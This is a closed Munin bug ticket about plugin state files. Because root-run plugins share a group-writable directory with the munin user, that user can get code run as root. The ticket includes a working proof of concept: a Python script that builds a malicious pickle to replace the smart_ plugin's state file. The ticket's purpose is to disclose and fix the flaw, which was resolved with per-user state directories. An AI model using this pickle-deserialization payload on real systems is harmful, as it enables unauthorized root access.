#1234 closed enhancement (fixed)

more secure state file handling

Reported by: kenyon Owned by: nobody
Priority: normal Milestone: Munin 2.0.0
Component: plugins Version: devel
Severity: normal Keywords: security
Cc:

Description

Currently, plugins which run as root mix their state files in the same directory as non-root plugins. The state directory is owned by munin:munin and is group-writable. Because of these facts, it is possible for an attacker who operates as user munin to cause a root-run plugin to run arbitrary code as root.

A proof-of-concept example is the smart_ plugin. It must run as root to access disk SMART data. It also stores state in Python pickle format, which can store executable Python code. Example follows:

# su -s /bin/sh -c /bin/sh munin
$ cd /var/lib/munin/plugin-state
$ mv smart-sda.state smart-sda.state.orig
$ cat bla.py
import pickle
import subprocess
import sys
 
class RunBinSh(object):
  def __reduce__(self):
    return (subprocess.Popen, (('/bin/sh', '-c', 'id > /tmp/whoami'),))
 
pickle.dump(RunBinSh(), sys.stdout)
$ python bla.py > smart-sda.state
# wait for node to run smart_ plugin
$ cat /tmp/whoami
uid=0(root) gid=110(munin) groups=0(root),110(munin)

A possible solution is to have a directory dedicated to each plugin, especially plugins which may run with superuser privileges, so that less-privileged users cannot modify their state files. This cannot be enforced by munin on all plugins, but this can be enforced by munin developers for plugins shipped with the munin package. We should consider making it easy for plugin writers to do this, maybe by making the perl/bourne shell/other language munin plugin API use a dedicated plugin state directory for each plugin. Otherwise, a plugin could be hardcoded to create and use a subdirectory of the existing plugin-state directory.

Thanks to "cnu" on the munin IRC channel for raising this issue and providing the smart_ example.

Change History (4)

comment:1 Changed at 2012-07-02T17:09:30+02:00 by kenyon

Related: Debian Bug 679897 (exim_mailstats is another plugin which needs to use its own state directory).

comment:3 Changed at 2013-03-08T09:36:28+01:00 by kenyon

This was fixed by using per-user plugin state directories. See http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=684075.

comment:4 Changed at 2013-03-08T09:36:37+01:00 by kenyon

  • Resolution set to fixed
  • Status changed from new to closed
Note: See TracTickets for help on using tickets.